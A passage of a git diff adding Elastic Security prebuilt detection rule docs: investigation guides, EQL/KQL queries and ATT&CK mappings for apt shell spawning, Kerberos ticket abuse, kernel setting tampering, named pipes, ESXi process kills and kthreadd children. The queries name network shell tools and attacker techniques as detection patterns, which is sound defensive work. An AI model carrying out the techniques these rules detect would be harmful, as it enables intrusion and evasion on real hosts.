and unauthorized network connections. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems have been compromised. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=5s + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "ProcessRollup2") and + process.parent.name == "apt" and process.args == "-c" and process.name in ( + "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish" + ) and not process.executable == "/usr/lib/venv-salt-minion/bin/python.original" + ] by process.entity_id + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "ProcessRollup2") and process.name : ( + "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "python*", "php*", + "perl", "ruby", "lua*", "openssl", "nc", "netcat", "ncat", "telnet", "awk" + ) + ] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Installer Packages +** ID: T1546.016 +** Reference URL: https://attack.mitre.org/techniques/T1546/016/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-suspicious-kerberos-authentication-ticket-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-suspicious-kerberos-authentication-ticket-request.asciidoc new file mode 100644 index 0000000000..e972693f05 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-suspicious-kerberos-authentication-ticket-request.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-10-suspicious-kerberos-authentication-ticket-request]] +=== Suspicious Kerberos Authentication Ticket Request + +Correlates network connections to the standard Kerberos port by an unusual process from the source machine with a Kerberos authentication ticket request from the target domain controller. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/its-a-feature/bifrost +* https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768 + +*Tags*: + +* Domain: Endpoint +* Domain: Identity +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Lateral Movement +* Use Case: Active Directory Monitoring +* Data Source: Active Directory +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Kerberos Authentication Ticket Request* + + +Kerberos is the default authentication protocol in Active Directory, designed to provide strong authentication for client/server applications by using secret-key cryptography. + +Domain-joined hosts usually perform Kerberos traffic using the `lsass.exe` process. This rule detects the occurrence of traffic on the Kerberos port (88) by processes other than `lsass.exe` to detect the unusual request and usage of Kerberos tickets. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Check if the Destination IP is related to a Domain Controller. +- Review events ID 4769 and 4768 for suspicious ticket requests. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- Active Directory audit tools. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. + - Ticket requests can be used to investigate potentially compromised accounts. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by source.port, source.ip with maxspan=3s + [network where host.os.type == "windows" and destination.port == 88 and + process.executable != null and + not process.executable : ("?:\\Windows\\system32\\lsass.exe", "\\device\\harddiskvolume*\\windows\\system32\\lsass.exe") and + source.ip != "127.0.0.1" and destination.ip != "::1" and destination.ip != "127.0.0.1"] + [authentication where host.os.type == "windows" and event.code in ("4768", "4769")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Pass the Ticket +** ID: T1550.003 +** Reference URL: https://attack.mitre.org/techniques/T1550/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal or Forge Kerberos Tickets +** ID: T1558 +** Reference URL: https://attack.mitre.org/techniques/T1558/ +* Sub-technique: +** Name: Kerberoasting +** ID: T1558.003 +** Reference URL: https://attack.mitre.org/techniques/T1558/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-suspicious-kernel-feature-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-suspicious-kernel-feature-activity.asciidoc new file mode 100644 index 0000000000..23de7806f6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-suspicious-kernel-feature-activity.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-10-suspicious-kernel-feature-activity]] +=== Suspicious Kernel Feature Activity + +This rule detects the modification and reading of kernel features through built-in commands. Attackers may collect information, disable or weaken Linux kernel protections. For example, an attacker may modify ASLR protection by disabling kernel.randomize_va_space, allow ptrace by setting kernel.yama.ptrace_scope to 0, or disable the NMI watchdog by setting kernel.nmi_watchdog to 0. These changes may be used to impair defenses and evade detection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Kernel Feature Activity* + + +Kernel features in Linux systems are critical for maintaining security and stability. They control various system behaviors, such as memory randomization and process tracing. Adversaries may exploit these features to weaken defenses, for instance, by disabling address space layout randomization (ASLR) or enabling unrestricted process tracing. The detection rule identifies suspicious activities by monitoring command executions that modify or read kernel settings, focusing on unusual patterns or contexts that suggest malicious intent. + + +*Possible investigation steps* + + +- Review the process command line to identify which specific kernel feature was accessed or modified, focusing on entries like kernel.randomize_va_space or kernel.yama.ptrace_scope. +- Examine the parent process executable and name to determine the context in which the suspicious command was executed, checking for unusual or unauthorized parent processes. +- Investigate the user account associated with the process execution to assess whether the activity aligns with expected behavior for that user. +- Check for any recent changes in the /etc/sysctl.conf or /etc/sysctl.d/ directories that might indicate unauthorized modifications to kernel settings. +- Analyze the system's process execution history to identify any patterns or sequences of commands that suggest a broader attack or compromise. +- Correlate the alert with other security events or logs to determine if this activity is part of a larger attack campaign or isolated incident. + + +*False positive analysis* + + +- System administrators or automated scripts may frequently modify kernel settings for legitimate purposes such as performance tuning or system maintenance. To handle these, identify and whitelist known administrative scripts or processes that regularly perform these actions. +- Security tools or monitoring solutions might execute commands that read kernel settings as part of their normal operation. Review and exclude these tools from triggering alerts by adding them to an exception list based on their process names or command patterns. +- Developers and testers might disable certain kernel features temporarily during debugging or testing phases. Coordinate with development teams to document these activities and exclude them from detection by specifying the relevant process names or command lines. +- Some system management tools may use commands like sysctl to apply configuration changes across multiple systems. If these tools are verified as non-threatening, exclude their specific command patterns or parent processes from triggering the rule. +- Regular system updates or configuration management processes might involve reading or modifying kernel settings. Identify these processes and add them to an exception list to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further exploitation or lateral movement by the adversary. +- Review and revert any unauthorized changes to kernel settings, such as ASLR, ptrace scope, or NMI watchdog, to their secure defaults using sysctl or by editing configuration files. +- Conduct a thorough examination of the system for signs of compromise, including checking for unauthorized access, unusual processes, or modifications to critical files. +- Restore the system from a known good backup if the integrity of the system is compromised and cannot be reliably remediated. +- Implement additional monitoring and logging for kernel feature modifications to detect similar activities in the future, ensuring alerts are configured for immediate response. +- Escalate the incident to the security operations center (SOC) or relevant security team for further investigation and correlation with other potential threats across the network. +- Review and update security policies and configurations to prevent unauthorized kernel modifications, including enforcing stricter access controls and auditing procedures. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and +process.command_line : ( + "*/etc/sysctl.conf*", "*/etc/sysctl.d/*", "*/proc/sys/kernel/nmi_watchdog*", + "*/proc/sys/vm/nr_hugepages*", "*/proc/sys/kernel/yama/ptrace_scope*", + "*/proc/sys/kernel/randomize_va_space*", "*/proc/sys/vm/drop_caches*", + "*/proc/sys/kernel/sysrq*", "*grsecurity*", "*exec-shield*", + "*kernel.randomize_va_space*", "*kernel.yama.ptrace_scope*", + "*kernel.nmi_watchdog*", "*vm.nr_hugepages*", "*vm.drop_caches*", + "*kernel.sysrq*" +) and +?process.parent.executable != null and +( + (process.name == "tee" and process.args like "-*a*") or // also detects --append + (process.name == "cat" and not process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")) or + (process.name == "grep" and process.args_count == 3 and not process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")) or + (process.name == "sysctl" and process.args like ("*-w*", "*--write*", "*=*")) or + (process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and process.args : "*echo *") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Indicator Blocking +** ID: T1562.006 +** Reference URL: https://attack.mitre.org/techniques/T1562/006/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-suspicious-named-pipe-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-suspicious-named-pipe-creation.asciidoc new file mode 100644 index 0000000000..d47301fc7f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-suspicious-named-pipe-creation.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-10-suspicious-named-pipe-creation]] +=== Suspicious Named Pipe Creation + +This rule detects the creation of unusually labeled named pipes (FIFOs) by the mkfifo command, which is often used by attackers to establish persistence on a target system or to execute commands in the background. Through the new_terms rule type, this rule can identify uncommon process command lines that may indicate the presence of a malicious named pipe. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Named Pipe Creation* + + +Named pipes, or FIFOs, are a form of inter-process communication in Linux environments, allowing data transfer between processes. Adversaries exploit this by creating named pipes in common directories like /tmp to stealthily execute commands or maintain persistence. The detection rule identifies unusual named pipe creation by monitoring the `mkfifo` command, especially when initiated by common shell processes, to flag potential malicious activity. + + +*Possible investigation steps* + + +- Review the process command line arguments to identify the exact named pipe path and any associated commands or scripts that might have been executed using the named pipe. +- Investigate the parent process (bash, csh, dash, fish, ksh, sh, tcsh, or zsh) to determine the origin of the mkfifo command, checking for any unusual or unexpected scripts or commands that might have initiated it. +- Examine the user account associated with the mkfifo process to determine if it is a legitimate user or if the account might have been compromised. +- Check for any other suspicious activities or processes running under the same user account or originating from the same parent process to identify potential lateral movement or further malicious actions. +- Analyze the system logs around the time of the named pipe creation for any other indicators of compromise, such as unauthorized access attempts or unusual network connections. +- If possible, capture and review the contents of the named pipe to understand the data being transferred and assess whether it is part of a malicious operation. + + +*False positive analysis* + + +- Named pipes created by legitimate applications for inter-process communication can trigger this rule. Users should identify and whitelist these applications by adding exceptions for specific process command lines that are known to be safe. +- System maintenance scripts or backup processes that use named pipes in directories like /tmp or /var/tmp may cause false positives. Review these scripts and exclude them from the rule if they are verified as non-malicious. +- Development environments or testing frameworks that frequently create and delete named pipes during their operations might be flagged. Users can mitigate this by excluding these environments from monitoring or by specifying exceptions for known development tools. +- Automated deployment tools that use named pipes for configuration management or orchestration tasks can also be a source of false positives. Ensure these tools are recognized and excluded from the rule to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity or lateral movement. +- Terminate any suspicious processes associated with the mkfifo command, especially those originating from common shell processes like bash or sh. +- Delete any named pipes created in directories such as /tmp, /dev/shm, or /var/tmp that do not follow expected naming conventions or are not part of legitimate applications. +- Conduct a thorough review of user accounts and permissions on the affected system to identify any unauthorized access or privilege escalation. +- Restore the system from a known good backup if any unauthorized changes or persistence mechanisms are detected. +- Implement additional monitoring on the affected system and network to detect any further attempts to create suspicious named pipes or execute unauthorized commands. +- Escalate the incident to the security operations team for further investigation and to determine if the threat is part of a larger attack campaign. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:process and event.type:start and event.action:(exec or ProcessRollup2) and process.name:mkfifo and +process.parent.name:(bash or csh or dash or fish or ksh or sh or tcsh or zsh) and +process.args:((/dev/shm/* or /tmp/* or /var/tmp/*) and not /*fifo*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-suspicious-termination-of-esxi-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-suspicious-termination-of-esxi-process.asciidoc new file mode 100644 index 0000000000..56a7be675d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-suspicious-termination-of-esxi-process.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-10-suspicious-termination-of-esxi-process]] +=== Suspicious Termination of ESXI Process + +Identifies instances where VMware processes, such as "vmware-vmx" or "vmx," are terminated on a Linux system by a "kill" command. The rule monitors for the "end" event type, which signifies the termination of a process. The presence of a "kill" command as the parent process for terminating VMware processes may indicate that a threat actor is attempting to interfere with the virtualized environment on the targeted system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.bleepingcomputer.com/news/security/massive-esxiargs-ransomware-attack-targets-vmware-esxi-servers-worldwide/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Impact +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Termination of ESXI Process* + + +VMware ESXi is a hypervisor used to create and manage virtual machines on a host system. Adversaries may target ESXi processes like "vmware-vmx" to disrupt virtual environments, often using the "kill" command to terminate these processes. The detection rule identifies such terminations by monitoring for specific process events, helping to uncover potential threats to virtualized infrastructures. + + +*Possible investigation steps* + + +- Review the alert details to confirm the process name is either "vmware-vmx" or "vmx" and that the parent process is "kill" on a Linux host. +- Check the timeline of events leading up to the termination to identify any preceding suspicious activities or commands executed by the same user or process. +- Investigate the user account associated with the "kill" command to determine if it is authorized to manage VMware processes and if there are any signs of compromise. +- Examine system logs and audit trails for any unauthorized access attempts or anomalies around the time of the process termination. +- Assess the impact on the virtual environment by verifying the status of affected virtual machines and any potential service disruptions. +- Correlate this event with other security alerts or incidents to identify if it is part of a larger attack pattern targeting the virtual infrastructure. + + +*False positive analysis* + + +- Routine maintenance or administrative tasks may involve terminating VMware processes using the kill command. To manage this, create exceptions for known maintenance scripts or administrative user accounts that regularly perform these actions. +- Automated scripts or monitoring tools might inadvertently terminate VMware processes as part of their operations. Identify and exclude these tools from the detection rule by specifying their process names or user accounts. +- System updates or patches could lead to the termination of VMware processes as part of the update procedure. Exclude these events by correlating them with known update schedules or specific update-related process names. +- Testing environments where VMware processes are frequently started and stopped for development purposes can trigger false positives. Implement exclusions for these environments by using hostnames or IP addresses associated with test systems. + + +*Response and remediation* + + +- Immediately isolate the affected host system from the network to prevent further malicious activity and potential spread to other systems. +- Terminate any unauthorized or suspicious processes that are still running on the affected host, especially those related to VMware ESXi, to halt any ongoing disruption. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise or persistence mechanisms that may have been deployed by the threat actor. +- Restore any terminated VMware processes from a known good backup to ensure the virtual environment is returned to its operational state. +- Review and update access controls and permissions on the affected host to ensure that only authorized personnel can execute critical commands like "kill" on VMware processes. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat is part of a larger attack campaign. +- Implement enhanced monitoring and alerting for similar suspicious activities across the virtualized infrastructure to detect and respond to future threats more effectively. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "end" and process.name in ("vmware-vmx", "vmx") +and process.parent.name == "kill" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-unusual-execution-from-kernel-thread-kthreadd-parent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-unusual-execution-from-kernel-thread-kthreadd-parent.asciidoc new file mode 100644 index 0000000000..c457796509 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-unusual-execution-from-kernel-thread-kthreadd-parent.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-10-unusual-execution-from-kernel-thread-kthreadd-parent]] +=== Unusual Execution from Kernel Thread (kthreadd) Parent + +This rule detects suspicious child process from the kernel thread (kthreadd) parent process. Attackers may execute payloads from kernel space via kthreadd to perform actions on the host and evade detection. Through the usage of the new_terms rule type, this rule can identify uncommon child processes that may indicate the presence of a malicious process. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Execution from Kernel Thread (kthreadd) Parent* + + +The kernel thread (kthreadd) is a fundamental component in Linux systems responsible for managing kernel-level processes. Adversaries may exploit kthreadd to execute payloads from kernel space, thereby evading detection due to its trusted status. The detection rule identifies suspicious child processes initiated by kthreadd, focusing on unusual executable paths and command lines indicative of malicious activity, while filtering out known benign processes. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific child process name and executable path that triggered the rule. Focus on paths like /dev/shm, /tmp, /var/tmp, and /var/www, which are commonly used for storing temporary or potentially malicious files. +- Examine the command line arguments associated with the suspicious process. Look for indicators of compromise such as references to sensitive files or directories like /etc/shadow, /etc/sudoers, or ~/.ssh, as well as suspicious commands like base64 or cron. +- Check the parent process details to confirm it is indeed kthreadd. Investigate any unusual behavior or anomalies in the parent process that might suggest exploitation or manipulation. +- Investigate the network activity of the host to identify any connections to suspicious IP addresses or domains, especially if the command line includes references to /dev/tcp or other network-related paths. +- Analyze the system logs and historical data to determine if similar alerts have been triggered in the past, which might indicate a persistent threat or repeated exploitation attempts. +- Assess the risk and impact of the detected activity by correlating it with other security events or alerts on the host, considering the medium severity and risk score of 47 associated with this rule. + + +*False positive analysis* + + +- Legitimate system maintenance tasks may trigger this rule, such as automated scripts running from temporary directories. Users can create exceptions for specific scripts or processes that are verified as safe. +- Development or testing environments often use temporary directories for executing scripts. Exclude known development tools or scripts from these environments to reduce noise. +- Some monitoring or backup tools might use command lines or executables that match the rule's criteria. Identify these tools and add them to the exclusion list to prevent false alerts. +- Custom administrative scripts that perform routine checks or updates might inadvertently match the rule. Review these scripts and exclude them if they are part of regular operations. +- If certain processes are consistently flagged but are known to be benign, consider adjusting the rule to exclude these specific processes or command lines to improve detection accuracy. + + +*Response and remediation* + + +- Isolate the affected host immediately to prevent further malicious activity and lateral movement within the network. +- Terminate any suspicious processes identified as child processes of kthreadd that match the alert criteria, ensuring to log the process details for further analysis. +- Conduct a thorough review of the file paths and command lines flagged in the alert to identify any unauthorized or malicious files or scripts. 